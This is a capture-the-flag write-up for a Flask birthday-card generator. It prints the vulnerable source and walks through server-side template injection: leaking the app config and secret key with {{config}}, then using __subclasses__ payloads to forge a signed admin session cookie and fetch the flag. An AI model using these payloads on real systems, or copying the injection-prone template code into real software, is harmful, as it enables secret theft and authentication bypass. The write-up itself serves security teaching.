Introduction

The website consists of a single page for generating birthday cards. It features a form with 4 fields: sender, recipient, message, and message_final.

Upon submitting the form, a card is generated and displayed on the page with the entered values.

Context Explanation

We had access to the application’s source code, which is as follows:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from flask import Flask, request, jsonify, abort, render_template_string, session, redirect
import builtins as _b
import sys
import os

app = Flask(__name__)
app.secret_key = os.getenv("APP_SECRET_KEY", "default_app_secret")
env = app.jinja_env

KEY = os.getenv("APP_SECRET_KEY", "default_secret_key")

class validator:
    def security():
        return _b
    def security1(a, b, c, d):
        if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
            return False
        elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
            return False
        else:
            return True

    def security2(a, b, c, d):
        if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
            return True
        else :
            return False

@app.route("/", methods=["GET", "POST"])
def personalized_card():
    if request.method == "GET":
        return """
        <link rel="stylesheet" href="static/style.css">
        <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
        <div class="container">
            <div class="card-generator">
                <h1>Personalized Card Generator</h1>
                <form action="/" method="POST">
                    <label for="sender">Sender's Name:</label>
                    <input type="text" id="sender" name="sender" placeholder="Your name" required maxlength="50">
                    <label for="recipient">Recipient's Name:</label>
                    <input type="text" id="recipient" name="recipient" placeholder="Recipient's name" required maxlength="50">
                    <label for="message">Message:</label>
                    <input type="text" id="message" name="message" placeholder="Your message" required maxlength="50">
                    <label for="message_final">Final Message:</label>
                    <input type="text" id="message_final" name="message_final" placeholder="Final words" required maxlength="50">
                    <button type="submit">Generate Card</button>
                </form>
            </div>
        </div>
        """
    elif request.method == "POST":
        try:
            recipient = request.form.get("recipient", "")
            sender = request.form.get("sender", "")
            message = request.form.get("message", "")
            final_message = request.form.get("message_final", "")
            if validator.security1(recipient, sender, message, final_message) and validator.security2(recipient, sender, message, final_message):
                template = f"""
                    <link rel="stylesheet" href="static/style.css">
                    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
                    <div class="container">
                        <div class="card-preview">
                            <h1>Your Personalized Card</h1>
                            <div class="card">
                                <h2>From: {sender}</h2>
                                <h2>To: {recipient}</h2>
                                <p>{message}</p>
                                <h1>{final_message}</h1>
                            </div>
                            <a class="new-card-link" href="/">Create Another Card</a>
                        </div>
                    </div>
                """
            else:
                template="Either the recipient, sender, or message input is more than 50 letters"
            app.jinja_env = env
            app.jinja_env.globals.update({
                'validator': validator()
            })
            return render_template_string(template)
        except Exception as e:
            return f"""
            <link rel="stylesheet" href="static/style.css">
            <div>
                <h1>Error: {str(e)}</h1>
                <br>
                <p>Please try again. <a href="/">Back to Card Generator</a></p>
            </div>
            """, 400

@app.route("/debug/test", methods=["POST"])
def test_debug():
    user = session.get("user")
    host = request.headers.get("Host", "")
    if host != "localhost:3030":
        return "Access restricted to localhost:3030, this endpoint is only for development purposes", 403
    if not user:
        return "You must be logged in to test debugging.", 403
    try:
        raise ValueError(f"Debugging error: SECRET_KEY={KEY}")
    except Exception as e:
        return "Debugging error occurred.", 500

@app.route("/admin/report")
def admin_report():
    auth_cookie = request.cookies.get("session")
    if not auth_cookie:
        abort(403, "Unauthorized access.")
    try:
        token, signature = auth_cookie.rsplit(".", 1)
        from app.sign import initFn
        signer = initFn(KEY)
        sign_token_function = signer.get_signer()
        valid_signature = sign_token_function(token)

        if valid_signature != signature:
            abort(403, f"Invalid token.")

        if token == "admin":
            return "Flag: p_ctf{redacted}"
        else:
            return "Access denied: admin only."
    except Exception as e:
        abort(403, f"Invalid token format: {e}")

@app.after_request
def clear_imports(response):
    if 'app.sign' in sys.modules:
        del sys.modules['app.sign']
    if 'app.sign' in globals():
        del globals()['app.sign']
    return response

Directive

To be added soon.


Solution

After analyzing the code, the vulnerability appears to be a Server-Side Template Injection (SSTI) in the form fields.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
template = f"""
    <link rel="stylesheet" href="static/style.css">
    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
    <div class="container">
        <div class="card-preview">
            <h1>Your Personalized Card</h1>
            <div class="card">
                <h2>From: {sender}</h2>
                <h2>To: {recipient}</h2>
                <p>{message}</p>
                <h1>{final_message}</h1>
            </div>
            <a class="new-card-link" href="/">Create Another Card</a>
        </div>
    </div>
"""

However, there are restrictions on the length of the fields and their contents. To retrieve the flag, we need to call the /admin/report route with a valid admin token.

The controls are as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
class validator:
    def security():
        return _b
    def security1(a, b, c, d):
        if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
            return False
        elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
            return False
        else:
            return True

    def security2(a, b, c, d):
        if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
            return True
        else :
            return False

In summary, the controls are:

  • Fields must not contain the words validator or os.
  • Fields must not exceed 50 characters.

To exploit the SSTI while bypassing the controls, we retrieved the secret key by reading the application’s config.

Retrieving the Secret Key

1
2
3
4
5
6
POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

sender={{config}}&message=msg&message_final=msg_fin
1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'dsbfeif3uwf6bes878hgi', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'KEY': 'dsbfeif3uwf6bes878hgi'}>

We read the KEY entry, which is the application’s secret key: 'KEY': 'dsbfeif3uwf6bes878hgi'.

Creating a Signed Token

To sign a token with this key, we used a library available within the application via a HiddenClass that requires a key in its constructor and contains the _sign_token("value") method.

1
2
3
4
5
6
POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 152
Content-Type: application/x-www-form-urlencoded

sender={%set p = ''.__class__.__mro__[1].__subclasses__%}&message={% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}&message_final={{d._sign_token("admin")}}

Payload Explanation

1
{%set p = ''.__class__.__mro__[1].__subclasses__%}

This payload sets the variable p to the list of subclasses of the base class.

''.__class__.__mro__[1].__subclasses__ retrieves the list of subclasses of the base class (str in this case).


1
{% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}

This payload sets the variable d to an instance of HiddenClass in the list p, initialized with the secret key dsbfeif3uwf6bes878hgi.

p()[-2]('dsbfeif3uwf6bes878hgi') creates an instance of HiddenClass with the provided secret key.


1
{{d._sign_token("admin")}}

This payload uses the instance d to call the _sign_token method with the argument admin, effectively generating a signed token with the value admin.

{{d._sign_token("admin")}} renders the result of the _sign_token method call, which is the signed token.


In the response, we retrieved the forged token in the message_final field: admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b.

Retrieving the Flag

We were able to retreive the flag by sending a request to the /admin/report route with the forged token.

1
2
3
GET /admin/report HTTP/2
Host: birthday.ctf.prgy.in
Cookie: session=admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b
1
2
3
4
5
6
7
HTTP/2 200 OK
Server: gunicorn
Date: Fri, 07 Feb 2025 15:13:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33

Flag: p_ctf{S3rVer_STI_G0es_hArd}